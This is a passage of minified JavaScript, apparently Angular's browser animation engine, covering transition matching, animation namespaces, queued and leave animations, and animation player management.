Te.some(rt=>rt(y,D,Z,Le))}(this.ast.matchers,y,D,Z,Le)}buildStyles(y,D,Z){let Le=this._stateStyles.get("*");return void 0!==y&&(Le=this._stateStyles.get(y?.toString())||Le),Le?Le.buildStyles(D,Z):new Map}build(y,D,Z,Le,rt,yt,Mt,Ft,Ut,o1){const l1=[],F1=this.ast.options&&this.ast.options.params||pn,C1=this.buildStyles(Z,Mt&&Mt.params||pn,l1),S1=Ft&&Ft.params||pn,Q1=this.buildStyles(Le,S1,l1),tn=new Set,Tn=new Map,En=new Map,wn="void"===Le,e2={params:hi(S1,F1),delay:this.ast.options?.delay},ni=o1?[]:L1(y,D,this.ast.animation,rt,yt,C1,Q1,e2,Ut,l1);let Un=0;if(ni.forEach(zn=>{Un=Math.max(zn.duration+zn.delay,Un)}),l1.length)return ui(D,this._triggerName,Z,Le,wn,C1,Q1,[],[],Tn,En,Un,l1);ni.forEach(zn=>{const $1=zn.element,H2=_e(Tn,$1,new Set);zn.preStyleProps.forEach(l2=>H2.add(l2));const z2=_e(En,$1,new Set);zn.postStyleProps.forEach(l2=>z2.add(l2)),$1!==D&&tn.add($1)});const hn=Zt(tn.values());return ui(D,this._triggerName,Z,Le,wn,C1,Q1,ni,hn,Tn,En,Un)}}function hi(Te,y){const D=Ae(y);for(const Z in Te)Te.hasOwnProperty(Z)&&null!=Te[Z]&&(D[Z]=Te[Z]);return D}class Kn{constructor(y,D,Z){this.styles=y,this.defaultParams=D,this.normalizer=Z}buildStyles(y,D){const Z=new Map,Le=Ae(this.defaultParams);return Object.keys(y).forEach(rt=>{const yt=y[rt];null!==yt&&(Le[rt]=yt)}),this.styles.styles.forEach(rt=>{"string"!=typeof rt&&rt.forEach((yt,Mt)=>{yt&&(yt=Rt(yt,Le,D));const Ft=this.normalizer.normalizePropertyName(Mt,D);yt=this.normalizer.normalizeStyleValue(Mt,Ft,yt,D),Z.set(Mt,yt)})}),Z}}class qi{constructor(y,D,Z){this.name=y,this.ast=D,this._normalizer=Z,this.transitionFactories=[],this.states=new Map,D.states.forEach(Le=>{this.states.set(Le.name,new Kn(Le.style,Le.options&&Le.options.params||{},Z))}),Ni(this.states,"true","1"),Ni(this.states,"false","0"),D.transitions.forEach(Le=>{this.transitionFactories.push(new Fi(y,Le,this.states))}),this.fallbackTransition=function h2(Te,y,D){return new Fi(Te,{type:1,animation:{type:2,steps:[],options:null},matchers:[(yt,Mt)=>!0],options:null,queryCount:0,depCount:0},y)}(y,this.states)}get containsQueries(){return this.ast.queryCount>0}matchTransition(y,D,Z,Le){return this.transitionFactories.find(yt=>yt.match(y,D,Z,Le))||null}matchStyles(y,D,Z){return this.fallbackTransition.buildStyles(y,D,Z)}}function Ni(Te,y,D){Te.has(y)?Te.has(D)||Te.set(D,Te.get(y)):Te.has(D)&&Te.set(y,Te.get(D))}const ei=new X1;class Zn{constructor(y,D,Z){this.bodyNode=y,this._driver=D,this._normalizer=Z,this._animations=new Map,this._playersById=new Map,this.players=[]}register(y,D){const Z=[],Le=[],rt=T1(this._driver,D,Z,Le);if(Z.length)throw function Oe(Te){return new n.vHH(3503,!1)}();this._animations.set(y,rt)}_buildPlayer(y,D,Z){const Le=y.element,rt=P(0,this._normalizer,0,y.keyframes,D,Z);return this._driver.animate(Le,rt,y.duration,y.delay,y.easing,[],!0)}create(y,D,Z={}){const Le=[],rt=this._animations.get(y);let yt;const Mt=new Map;if(rt?(yt=L1(this._driver,D,rt,It,_t,new Map,new Map,Z,ei,Le),yt.forEach(o1=>{const l1=_e(Mt,o1.element,new Map);o1.postStyleProps.forEach(F1=>l1.set(F1,null))})):(Le.push(function Qe(){return new n.vHH(3300,!1)}()),yt=[]),Le.length)throw function Ye(Te){return new n.vHH(3504,!1)}();Mt.forEach((o1,l1)=>{o1.forEach((F1,A1)=>{o1.set(A1,this._driver.computeStyle(l1,A1,s.l3))})});const Ut=pe(yt.map(o1=>{const l1=Mt.get(o1.element);return this._buildPlayer(o1,new Map,l1)}));return this._playersById.set(y,Ut),Ut.onDestroy(()=>this.destroy(y)),this.players.push(Ut),Ut}destroy(y){const D=this._getPlayer(y);D.destroy(),this._playersById.delete(y);const Z=this.players.indexOf(D);Z>=0&&this.players.splice(Z,1)}_getPlayer(y){const D=this._playersById.get(y);if(!D)throw function qe(Te){return new n.vHH(3301,!1)}();return D}listen(y,D,Z,Le){const rt=X(D,"","","");return w(this._getPlayer(y),Z,rt,Le),()=>{}}command(y,D,Z,Le){if("register"==Z)return void this.register(y,Le[0]);if("create"==Z)return void this.create(y,D,Le[0]||{});const rt=this._getPlayer(y);switch(Z){case"play":rt.play();break;case"pause":rt.pause();break;case"reset":rt.reset();break;case"restart":rt.restart();break;case"finish":rt.finish();break;case"init":rt.init();break;case"setPosition":rt.setPosition(parseFloat(Le[0]));break;case"destroy":this.destroy(y)}}}const Hi="ng-animate-queued",Vi="ng-animate-disabled",Bi=[],Ji={namespaceId:"",setForRemoval:!1,setForMove:!1,hasAnimation:!1,removedBeforeQueried:!1},bi={namespaceId:"",setForMove:!1,setForRemoval:!1,hasAnimation:!1,removedBeforeQueried:!0},mn="__ng_removed";class ai{get params(){return this.options.params}constructor(y,D=""){this.namespaceId=D;const Z=y&&y.hasOwnProperty("value");if(this.value=function Ci(Te){return Te??null}(Z?y.value:y),Z){const rt=Ae(y);delete rt.value,this.options=rt}else this.options={};this.options.params||(this.options.params={})}absorbOptions(y){const D=y.params;if(D){const Z=this.options.params;Object.keys(D).forEach(Le=>{null==Z[Le]&&(Z[Le]=D[Le])})}}}const jn="void",fi=new ai(jn);class Ui{constructor(y,D,Z){this.id=y,this.hostElement=D,this._engine=Z,this.players=[],this._triggers=new Map,this._queue=[],this._elementListeners=new Map,this._hostClassName="ng-tns-"+y,un(D,this._hostClassName)}listen(y,D,Z,Le){if(!this._triggers.has(D))throw function Ke(Te,y){return new n.vHH(3302,!1)}();if(null==Z||0==Z.length)throw function dt(Te){return new n.vHH(3303,!1)}();if(!function Oi(Te){return"start"==Te||"done"==Te}(Z))throw function bt(Te,y){return new n.vHH(3400,!1)}();const rt=_e(this._elementListeners,y,[]),yt={name:D,phase:Z,callback:Le};rt.push(yt);const Mt=_e(this._engine.statesByElement,y,new Map);return Mt.has(D)||(un(y,kt),un(y,kt+"-"+D),Mt.set(D,fi)),()=>{this._engine.afterFlush(()=>{const Ft=rt.indexOf(yt);Ft>=0&&rt.splice(Ft,1),this._triggers.has(D)||Mt.delete(D)})}}register(y,D){return!this._triggers.has(y)&&(this._triggers.set(y,D),!0)}_getTrigger(y){const D=this._triggers.get(y);if(!D)throw function ze(Te){return new n.vHH(3401,!1)}();return D}trigger(y,D,Z,Le=!0){const rt=this._getTrigger(D),yt=new Li(this.id,D,y);let Mt=this._engine.statesByElement.get(y);Mt||(un(y,kt),un(y,kt+"-"+D),this._engine.statesByElement.set(y,Mt=new Map));let Ft=Mt.get(D);const Ut=new ai(Z,this.id);if(!(Z&&Z.hasOwnProperty("value"))&&Ft&&Ut.absorbOptions(Ft.options),Mt.set(D,Ut),Ft||(Ft=fi),Ut.value!==jn&&Ft.value===Ut.value){if(!function g2(Te,y){const D=Object.keys(Te),Z=Object.keys(y);if(D.length!=Z.length)return!1;for(let Le=0;Le<D.length;Le++){const rt=D[Le];if(!y.hasOwnProperty(rt)||Te[rt]!==y[rt])return!1}return!0}(Ft.params,Ut.params)){const S1=[],Q1=rt.matchStyles(Ft.value,Ft.params,S1),tn=rt.matchStyles(Ut.value,Ut.params,S1);S1.length?this._engine.reportError(S1):this._engine.afterFlush(()=>{at(y,Q1),Ee(y,tn)})}return}const F1=_e(this._engine.playersByElement,y,[]);F1.forEach(S1=>{S1.namespaceId==this.id&&S1.triggerName==D&&S1.queued&&S1.destroy()});let A1=rt.matchTransition(Ft.value,Ut.value,y,Ut.params),C1=!1;if(!A1){if(!Le)return;A1=rt.fallbackTransition,C1=!0}return this._engine.totalQueuedPlayers++,this._queue.push({element:y,triggerName:D,transition:A1,fromState:Ft,toState:Ut,player:yt,isFallbackTransition:C1}),C1||(un(y,Hi),yt.onStart(()=>{en(y,Hi)})),yt.onDone(()=>{let S1=this.players.indexOf(yt);S1>=0&&this.players.splice(S1,1);const Q1=this._engine.playersByElement.get(y);if(Q1){let tn=Q1.indexOf(yt);tn>=0&&Q1.splice(tn,1)}}),this.players.push(yt),F1.push(yt),yt}deregister(y){this._triggers.delete(y),this._engine.statesByElement.forEach(D=>D.delete(y)),this._elementListeners.forEach((D,Z)=>{this._elementListeners.set(Z,D.filter(Le=>Le.name!=y))})}clearElementCache(y){this._engine.statesByElement.delete(y),this._elementListeners.delete(y);const D=this._engine.playersByElement.get(y);D&&(D.forEach(Z=>Z.destroy()),this._engine.playersByElement.delete(y))}_signalRemovalForInnerTriggers(y,D){const Z=this._engine.driver.query(y,Fe,!0);Z.forEach(Le=>{if(Le[mn])return;const rt=this._engine.fetchNamespacesByElement(Le);rt.size?rt.forEach(yt=>yt.triggerLeaveAnimation(Le,D,!1,!0)):this.clearElementCache(Le)}),this._engine.afterFlushAnimationsDone(()=>Z.forEach(Le=>this.clearElementCache(Le)))}triggerLeaveAnimation(y,D,Z,Le){const rt=this._engine.statesByElement.get(y),yt=new Map;if(rt){const Mt=[];if(rt.forEach((Ft,Ut)=>{if(yt.set(Ut,Ft.value),this._triggers.has(Ut)){const o1=this.trigger(y,Ut,jn,Le);o1&&Mt.push(o1)}}),Mt.length)return this._engine.markElementAsRemoved(this.id,y,!0,D,yt),Z&&pe(Mt).onDone(()=>this._engine.processLeaveNode(y)),!0}return!1}prepareLeaveAnimationListeners(y){const D=this._elementListeners.get(y),Z=this._engine.statesByElement.get(y);if(D&&Z){const Le=new Set;D.forEach(rt=>{const yt=rt.name;if(Le.has(yt))return;Le.add(yt);const Ft=this._triggers.get(yt).fallbackTransition,Ut=Z.get(yt)||fi,o1=new ai(jn),l1=new Li(this.id,yt,y);this._engine.totalQueuedPlayers++,this._queue.push({element:y,triggerName:yt,transition:Ft,fromState:Ut,toState:o1,player:l1,isFallbackTransition:!0})})}}removeNode(y,D){const Z=this._engine;if(y.childElementCount&&this._signalRemovalForInnerTriggers(y,D),this.triggerLeaveAnimation(y,D,!0))return;let Le=!1;if(Z.totalAnimations){const rt=Z.players.length?Z.playersByQueriedElement.get(y):[];if(rt&&rt.length)Le=!0;else{let yt=y;for(;yt=yt.parentNode;)if(Z.statesByElement.get(yt)){Le=!0;break}}}if(this.prepareLeaveAnimationListeners(y),Le)Z.markElementAsRemoved(this.id,y,!1,D);else{const rt=y[mn];(!rt||rt===Ji)&&(Z.afterFlush(()=>this.clearElementCache(y)),Z.destroyInnerAnimations(y),Z._onRemovalComplete(y,D))}}insertNode(y,D){un(y,this._hostClassName)}drainQueuedTransitions(y){const D=[];return this._queue.forEach(Z=>{const Le=Z.player;if(Le.destroyed)return;const rt=Z.element,yt=this._elementListeners.get(rt);yt&&yt.forEach(Mt=>{if(Mt.name==Z.triggerName){const Ft=X(rt,Z.triggerName,Z.fromState.value,Z.toState.value);Ft._data=y,w(Z.player,Mt.phase,Ft,Mt.callback)}}),Le.markedForDestroy?this._engine.afterFlush(()=>{Le.destroy()}):D.push(Z)}),this._queue=[],D.sort((Z,Le)=>{const rt=Z.transition.ast.depCount,yt=Le.transition.ast.depCount;return 0==rt||0==yt?rt-yt:this._engine.driver.containsElement(Z.element,Le.element)?1:-1})}destroy(y){this.players.forEach(D=>D.destroy()),this._signalRemovalForInnerTriggers(this.hostElement,y)}elementContainsData(y){let D=!1;return this._elementListeners.has(y)&&(D=!0),D=!!this._queue.find(Z=>Z.element===y)||D,D}}class o2{_onRemovalComplete(y,D){this.onRemovalComplete(y,D)}constructor(y,D,Z){this.bodyNode=y,this.driver=D,this._normalizer=Z,this.players=[],this.newHostElements=new Map,this.playersByElement=new Map,this.playersByQueriedElement=new Map,this.statesByElement=new Map,this.disabledNodes=new Set,this.totalAnimations=0,this.totalQueuedPlayers=0,this._namespaceLookup={},this._namespaceList=[],this._flushFns=[],this._whenQuietFns=[],this.namespacesByHostElement=new Map,this.collectedEnterElements=[],this.collectedLeaveElements=[],this.onRemovalComplete=(Le,rt)=>{}}get queuedPlayers(){const y=[];return this._namespaceList.forEach(D=>{D.players.forEach(Z=>{Z.queued&&y.push(Z)})}),y}createNamespace(y,D){const Z=new Ui(y,D,this);return this.bodyNode&&this.driver.containsElement(this.bodyNode,D)?this._balanceNamespaceList(Z,D):(this.newHostElements.set(D,Z),this.collectEnterElement(D)),this._namespaceLookup[y]=Z}_balanceNamespaceList(y,D){const Z=this._namespaceList,Le=this.namespacesByHostElement;if(Z.length-1>=0){let yt=!1,Mt=this.driver.getParentElement(D);for(;Mt;){const Ft=Le.get(Mt);if(Ft){const Ut=Z.indexOf(Ft);Z.splice(Ut+1,0,y),yt=!0;break}Mt=this.driver.getParentElement(Mt)}yt||Z.unshift(y)}else Z.push(y);return Le.set(D,y),y}register(y,D){let Z=this._namespaceLookup[y];return Z||(Z=this.createNamespace(y,D)),Z}registerTrigger(y,D,Z){let Le=this._namespaceLookup[y];Le&&Le.register(D,Z)&&this.totalAnimations++}destroy(y,D){if(!y)return;const Z=this._fetchNamespace(y);this.afterFlush(()=>{this.namespacesByHostElement.delete(Z.hostElement),delete this._namespaceLookup[y];const Le=this._namespaceList.indexOf(Z);Le>=0&&this._namespaceList.splice(Le,1)}),this.afterFlushAnimationsDone(()=>Z.destroy(D))}_fetchNamespace(y){return this._namespaceLookup[y]}fetchNamespacesByElement(y){const D=new Set,Z=this.statesByElement.get(y);if(Z)for(let Le of Z.values())if(Le.namespaceId){const rt=this._fetchNamespace(Le.namespaceId);rt&&D.add(rt)}return D}trigger(y,D,Z,Le){if(ti(D)){const rt=this._fetchNamespace(y);if(rt)return rt.trigger(D,Z,Le),!0}return!1}insertNode(y,D,Z,Le){if(!ti(D))return;const rt=D[mn];if(rt&&rt.setForRemoval){rt.setForRemoval=!1,rt.setForMove=!0;const yt=this.collectedLeaveElements.indexOf(D);yt>=0&&this.collectedLeaveElements.splice(yt,1)}if(y){const yt=this._fetchNamespace(y);yt&&yt.insertNode(D,Z)}Le&&this.collectEnterElement(D)}collectEnterElement(y){this.collectedEnterElements.push(y)}markElementAsDisabled(y,D){D?this.disabledNodes.has(y)||(this.disabledNodes.add(y),un(y,Vi)):this.disabledNodes.has(y)&&(this.disabledNodes.delete(y),en(y,Vi))}removeNode(y,D,Z,Le){if(ti(D)){const rt=y?this._fetchNamespace(y):null;if(rt?rt.removeNode(D,Le):this.markElementAsRemoved(y,D,!1,Le),Z){const yt=this.namespacesByHostElement.get(D);yt&&yt.id!==y&&yt.removeNode(D,Le)}}else this._onRemovalComplete(D,Le)}markElementAsRemoved(y,D,Z,Le,rt){this.collectedLeaveElements.push(D),D[mn]={namespaceId:y,setForRemoval:Le,hasAnimation:Z,removedBeforeQueried:!1,previousTriggersValues:rt}}listen(y,D,Z,Le,rt){return ti(D)?this._fetchNamespace(y).listen(D,Z,Le,rt):()=>{}}_buildInstruction(y,D,Z,Le,rt){return y.transition.build(this.driver,y.element,y.fromState.value,y.toState.value,Z,Le,y.fromState.options,y.toState.options,D,rt)}destroyInnerAnimations(y){let D=this.driver.query(y,Fe,!0);D.forEach(Z=>this.destroyActiveAnimationsForElement(Z)),0!=this.playersByQueriedElement.size&&(D=this.driver.query(y,Pe,!0),D.forEach(Z=>this.finishActiveQueriedAnimationOnElement(Z)))}destroyActiveAnimationsForElement(y){const D=this.playersByElement.get(y);D&&D.forEach(Z=>{Z.queued?Z.markedForDestroy=!0:Z.destroy()})}finishActiveQueriedAnimationOnElement(y){const D=this.playersByQueriedElement.get(y);D&&D.forEach(Z=>Z.finish())}whenRenderingDone(){return new Promise(y=>{if(this.players.length)return pe(this.players).onDone(()=>y());y()})}processLeaveNode(y){const D=y[mn];if(D&&D.setForRemoval){if(y[mn]=Ji,D.namespaceId){this.destroyInnerAnimations(y);const Z=this._fetchNamespace(D.namespaceId);Z&&Z.clearElementCache(y)}this._onRemovalComplete(y,D.setForRemoval)}y.classList?.contains(Vi)&&this.markElementAsDisabled(y,!1),this.driver.query(y,".ng-animate-disabled",!0).forEach(Z=>{this.markElementAsDisabled(Z,!1)})}flush(y=-1){let D=[];if(this.newHostElements.size&&(this.newHostElements.forEach((Z,Le)=>this._balanceNamespaceList(Z,Le)),this.newHostElements.clear()),this.totalAnimations&&this.collectedEnterElements.length)for(let Z=0;Z<this.collectedEnterElements.length;Z++)un(this.collectedEnterElements[Z],"ng-star-inserted");if(this._namespaceList.length&&(this.totalQueuedPlayers||this.collectedLeaveElements.length)){const Z=[];try{D=this._flushAnimations(Z,y)}finally{for(let Le=0;Le<Z.length;Le++)Z[Le]()}}else for(let Z=0;Z<this.collectedLeaveElements.length;Z++)this.processLeaveNode(this.collectedLeaveElements[Z]);if(this.totalQueuedPlayers=0,this.collectedEnterElements.length=0,this.collectedLeaveElements.length=0,this._flushFns.forEach(Z=>Z()),this._flushFns=[],this._whenQuietFns.length){const Z=this._whenQuietFns;this._whenQuietFns=[],D.length?pe(D).onDone(()=>{Z.forEach(Le=>Le())}):Z.forEach(Le=>Le())}}reportError(y){throw function De(Te){return new n.vHH(3402,!1)}()}_flushAnimations(y,D){const Z=new X1,Le=[],rt=new Map,yt=[],Mt=new Map,Ft=new Map,Ut=new Map,o1=new Set;this.disabledNodes.forEach(v1=>{o1.add(v1);const y1=this.driver.query(v1,".ng-animate-queued",!0);for(let M1=0;M1<y1.length;M1++)o1.add(y1[M1])});const l1=this.bodyNode,F1=Array.from(this.statesByElement.keys()),A1=Gi(F1,this.collectedEnterElements),C1=new Map;let S1=0;A1.forEach((v1,y1)=>{const M1=It+S1++;C1.set(y1,M1),v1.forEach(H1=>un(H1,M1))});const Q1=[],tn=new Set,Tn=new Set;for(let v1=0;v1<this.collectedLeaveElements.length;v1++){const y1=this.collectedLeaveElements[v1],M1=y1[mn];M1&&M1.setForRemoval&&(Q1.push(y1),tn.add(y1),M1.hasAnimation?this.driver.query(y1,".ng-star-inserted",!0).forEach(H1=>tn.add(H1)):Tn.add(y1))}const En=new Map,wn=Gi(F1,Array.from(tn));wn.forEach((v1,y1)=>{const M1=_t+S1++;En.set(y1,M1),v1.forEach(H1=>un(H1,M1))}),y.push(()=>{A1.forEach((v1,y1)=>{const M1=C1.get(y1);v1.forEach(H1=>en(H1,M1))}),wn.forEach((v1,y1)=>{const M1=En.get(y1);v1.forEach(H1=>en(H1,M1))}),Q1.forEach(v1=>{this.processLeaveNode(v1)})});const e2=[],ni=[];for(let v1=this._namespaceList.length-1;v1>=0;v1--)this._namespaceList[v1].drainQueuedTransitions(D).forEach(M1=>{const H1=M1.player,N=M1.element;if(e2.push(H1),this.collectedEnterElements.length){const s1=N[mn];if(s1&&s1.setForMove){if(s1.previousTriggersValues&&s1.previousTriggersValues.has(M1.triggerName)){const K1=s1.previousTriggersValues.get(M1.triggerName),g1=this.statesByElement.get(M1.element);if(g1&&g1.has(M1.triggerName)){const B1=g1.get(M1.triggerName);B1.value=K1,g1.set(M1.triggerName,B1)}}return void H1.destroy()}}const he=!l1||!this.driver.containsElement(l1,N),W=En.get(N),Ve=C1.get(N),ht=this._buildInstruction(M1,Z,Ve,W,he);if(ht.errors&&ht.errors.length)return void ni.push(ht);if(he)return H1.onStart(()=>at(N,ht.fromStyles)),H1.onDestroy(()=>Ee(N,ht.toStyles)),void Le.push(H1);if(M1.isFallbackTransition)return H1.onStart(()=>at(N,ht.fromStyles)),H1.onDestroy(()=>Ee(N,ht.toStyles)),void Le.push(H1);const Ht=[];ht.timelines.forEach(s1=>{s1.stretchStartingKeyframe=!0,this.disabledNodes.has(s1.element)||Ht.push(s1)}),ht.timelines=Ht,Z.append(N,ht.timelines),yt.push({instruction:ht,player:H1,element:N}),ht.queriedElements.forEach(s1=>_e(Mt,s1,[]).push(H1)),ht.preStyleProps.forEach((s1,K1)=>{if(s1.size){let g1=Ft.get(K1);g1||Ft.set(K1,g1=new Set),s1.forEach((B1,I1)=>g1.add(I1))}}),ht.postStyleProps.forEach((s1,K1)=>{let g1=Ut.get(K1);g1||Ut.set(K1,g1=new Set),s1.forEach((B1,I1)=>g1.add(I1))})});if(ni.length){const v1=[];ni.forEach(y1=>{v1.push(function ve(Te,y){return new n.vHH(3505,!1)}())}),e2.forEach(y1=>y1.destroy()),this.reportError(v1)}const Un=new Map,hn=new Map;yt.forEach(v1=>{const y1=v1.element;Z.has(y1)&&(hn.set(y1,y1),this._beforeAnimationBuild(v1.player.namespaceId,v1.instruction,Un))}),Le.forEach(v1=>{const y1=v1.element;this._getPreviousPlayers(y1,!1,v1.namespaceId,v1.triggerName,null).forEach(H1=>{_e(Un,y1,[]).push(H1),H1.destroy()})});const zn=Q1.filter(v1=>pi(v1,Ft,Ut)),$1=new Map;bn($1,this.driver,Tn,Ut,s.l3).forEach(v1=>{pi(v1,Ft,Ut)&&zn.push(v1)});const z2=new Map;A1.forEach((v1,y1)=>{bn(z2,this.driver,new Set(v1),Ft,s.k1)}),zn.forEach(v1=>{const y1=$1.get(v1),M1=z2.get(v1);$1.set(v1,new Map([...Array.from(y1?.entries()??[]),...Array.from(M1?.entries()??[])]))});const l2=[],Y2=[],W2={};yt.forEach(v1=>{const{element:y1,player:M1,instruction:H1}=v1;if(Z.has(y1)){if(o1.has(y1))return M1.onDestroy(()=>Ee(y1,H1.toStyles)),M1.disabled=!0,M1.overrideTotalTime(H1.totalTime),void Le.push(M1);let N=W2;if(hn.size>1){let W=y1;const Ve=[];for(;W=W.parentNode;){const ht=hn.get(W);if(ht){N=ht;break}Ve.push(W)}Ve.forEach(ht=>hn.set(ht,N))}const he=this._buildAnimation(M1.namespaceId,H1,Un,rt,z2,$1);if(M1.setRealPlayer(he),N===W2)l2.push(M1);else{const W=this.playersByElement.get(N);W&&W.length&&(M1.parentPlayer=pe(W)),Le.push(M1)}}else at(y1,H1.fromStyles),M1.onDestroy(()=>Ee(y1,H1.toStyles)),Y2.push(M1),o1.has(y1)&&Le.push(M1)}),Y2.forEach(v1=>{const y1=rt.get(v1.element);if(y1&&y1.length){const M1=pe(y1);v1.setRealPlayer(M1)}}),Le.forEach(v1=>{v1.parentPlayer?v1.syncPlayerEvents(v1.parentPlayer):v1.destroy()});for(let v1=0;v1<Q1.length;v1++){const y1=Q1[v1],M1=y1[mn];if(en(y1,_t),M1&&M1.hasAnimation)continue;let H1=[];if(Mt.size){let he=Mt.get(y1);he&&he.length&&H1.push(...he);let W=this.driver.query(y1,Pe,!0);for(let Ve=0;Ve<W.length;Ve++){let ht=Mt.get(W[Ve]);ht&&ht.length&&H1.push(...ht)}}const N=H1.filter(he=>!he.destroyed);N.length?Mi(this,y1,N):this.processLeaveNode(y1)}return Q1.length=0,l2.forEach(v1=>{this.players.push(v1),v1.onDone(()=>{v1.destroy();const y1=this.players.indexOf(v1);this.players.splice(y1,1)}),v1.play()}),l2}elementContainsData(y,D){let Z=!1;const Le=D[mn];return Le&&Le.setForRemoval&&(Z=!0),this.playersByElement.has(D)&&(Z=!0),this.playersByQueriedElement.has(D)&&(Z=!0),this.statesByElement.has(D)&&(Z=!0),this._fetchNamespace(y).elementContainsData(D)||Z}afterFlush(y){this._flushFns.push(y)}afterFlushAnimationsDone(y){this._whenQuietFns.push(y)}_getPreviousPlayers(y,D,Z,Le,rt){let yt=[];if(D){const Mt=this.playersByQueriedElement.get(y);Mt&&(yt=Mt)}else{const Mt=this.playersByElement.get(y);if(Mt){const Ft=!rt||rt==jn;Mt.forEach(Ut=>{Ut.queued||!Ft&&Ut.triggerName!=Le||yt.push(Ut)})}}return(Z||Le)&&(yt=yt.filter(Mt=>!(Z&&Z!=Mt.namespaceId||Le&&Le!=Mt.triggerName))),yt}_beforeAnimationBuild(y,D,Z){const rt=D.element,yt=D.isRemovalTransition?void 0:y,Mt=D.isRemovalTransition?void 0:D.triggerName;for(const Ft of D.timelines){const Ut=Ft.element,o1=Ut!==rt,l1=_e(Z,Ut,[]);this._getPreviousPlayers(Ut,o1,yt,Mt,D.toState).forEach(A1=>{const C1=A1.getRealPlayer();C1.beforeDestroy&&C1.beforeDestroy(),A1.destroy(),l1.push(A1)})}at(rt,D.fromStyles)}_buildAnimation(y,D,Z,Le,rt,yt){const Mt=D.triggerName,Ft=D.element,Ut=[],o1=new Set,l1=new Set,F1=D.timelines.map(C1=>{const S1=C1.element;o1.add(S1);const Q1=S1[mn];if(Q1&&Q1.removedBeforeQueried)return new s.ZN(C1.duration,C1.delay);const tn=S1!==Ft,Tn=function m2(Te){const y=[];return _n(Te,y),y}((Z.get(S1)||Bi).map(Un=>Un.getRealPlayer())).filter(Un=>!!Un.element&&Un.element===S1),En=rt.get(S1),wn=yt.get(S1),e2=P(0,this._normalizer,0,C1.keyframes,En,wn),ni=this._buildPlayer(C1,e2,Tn);if(C1.subTimeline&&Le&&l1.add(S1),tn){const Un=new Li(y,Mt,S1);Un.setRealPlayer(ni),Ut.push(Un)}return ni});Ut.forEach(C1=>{_e(this.playersByQueriedElement,C1.element,[]).push(C1),C1.onDone(()=>function ki(Te,y,D){let Z=Te.get(y);if(Z){if(Z.length){const Le=Z.indexOf(D);Z.splice(Le,1)}0==Z.length&&Te.delete(y)}return Z}(this.playersByQueriedElement,C1.element,C1))}),o1.forEach(C1=>un(C1,be));const A1=pe(F1);return A1.onDestroy(()=>{o1.forEach(C1=>en(C1,be)),Ee(Ft,D.toStyles)}),l1.forEach(C1=>{_e(Le,C1,[]).push(A1)}),A1}_buildPlayer(y,D,Z){return D.length>0?this.driver.animate(y.element,D,y.duration,y.delay,y.easing,Z):new s.ZN(y.duration,y.delay)}}class Li{constructor(y,D,Z){this.namespaceId=y,this.triggerName=D,this.element=Z,this._player=new s.ZN,this._containsRealPlayer=!1,this._queuedCallbacks=new Map,this.destroyed=!1,this.parentPlayer=null,this.markedForDestroy=!1,this.disabled=!1,this.queued=!0,this.totalTime=0}setRealPlayer(y){this._containsRealPlayer||(this._player=y,this._queuedCallbacks.forEach((D,Z)=>{D.forEach(Le=>w(y,Z,void 0,Le))}),this._queuedCallbacks.clear(),this._containsRealPlayer=!0,this.overrideTotalTime(y.totalTime),this.queued=!1)}getRealPlayer(){return this._player}overrideTotalTime(y){this.totalTime=y}syncPlayerEvents(y){const D=this._player;D.triggerCallback&&y.onStart(()=>D.triggerCallback("start")),y.onDone(()=>this.finish()),y.onDestroy(()=>this.destroy())}_queueEvent(y,D){_e(this._queuedCallbacks,y,[]).push(D)}onDone(y){this.queued&&this._queueEvent("done",y),this._player.onDone(y)}onStart(y){this.queued&&this._queueEvent("start",y),this._player.onStart(y)}onDestroy(y){this.queued&&this._queueEvent("destroy",y),this._player.onDestroy(y)}init(){this._player.init()}hasStarted(){return!this.queued&&this._player.hasStarted()}play(){!this.queued&&this._player.play()}pause(){!this.queued&&this._player.pause()}restart(){!this.queued&&this._player.restart()}finish(){this._player.finish()}destroy(){this.destroyed=!0,this._player.destroy()}reset(){!this.queued&&this._player.reset()}setPosition(y){this.queued||this._player.setPosition(y)}getPosition(){return this.queued?0:this._player.getPosition()}triggerCallback(y){const D=this._player;D.triggerCallback&&D.triggerCallback(y)}}function ti(Te){return Te&&1===Te.nodeType}function Xi(Te,y){const D=Te.style.display;return Te.style.display=y??"none",D}function bn(Te,y,D,Z,Le){const rt=[];D.forEach(Ft=>rt.push(Xi(Ft)));const yt=[];Z.forEach((Ft,Ut)=>{const o1=new Map;Ft.forEach(l1=>{const F1=y.computeStyle(Ut,l1,Le);o1.set(l1,F1),(!F1||0==F1.length)&&(Ut[mn]=bi,yt.push(Ut))}),Te.set(Ut,o1)});let Mt=0;return D.forEach(Ft=>Xi(Ft,rt[Mt++])),yt}function Gi(Te,y){const D=new Map;if(Te.forEach(Mt=>D.set(Mt,[])),0==y.length)return D;const Z=1,Le=new Set(y),rt=new Map;function yt(Mt){if(!Mt)return Z;let Ft=rt.get(Mt);if(Ft)return Ft;const Ut=Mt.parentNode;return Ft=D.has(Ut)?Ut:Le.has(Ut)?Z:yt(Ut),rt.set(Mt,Ft),Ft}return y.forEach(Mt=>{const Ft=yt(Mt);Ft!==Z&&D.get(Ft).push(Mt)}),D}function un(Te,y){Te.classList?.add(y)}function en(Te,y){Te.classList?.remove(y)}function Mi(Te,y,D){pe(D).onDone(()=>Te.processLeaveNode(y))}function _n(Te,y){for(let D=0;D<Te.length;D++){const Z=Te[D];Z instanceof s.ZE?_n(Z.players,y):y.push(Z)}}function pi(Te,y,D){const Z=D.get(Te);if(!Z)return!1;let Le=y.get(Te);return Le?Z.forEach(rt=>Le.add(rt)):y.set(Te,Z),D.delete(Te),!0}class si{constructor(y,D,Z){this.bodyNode=y,this._driver=D,this._normalizer=Z,this._triggerCache={},this.onRemovalComplete=(Le,rt)=>{},this._transitionEngine=new o2(y,D,Z),this._timelineEngine=new Zn(y,D,Z),this._transitionEngine.onRemovalComplete=(Le,rt)=>this.onRemovalComplete(Le,rt)}registerTrigger(y,D,Z,Le,rt){const yt=y+"-"+Le;let Mt=this._triggerCache[yt];if(!Mt){const Ft=[],Ut=[],o1=T1(this._driver,rt,Ft,Ut);if(Ft.length)throw function Ze(Te,y){return new n.vHH(3404,!1)}();Mt=function Ti(Te,y,D){return new 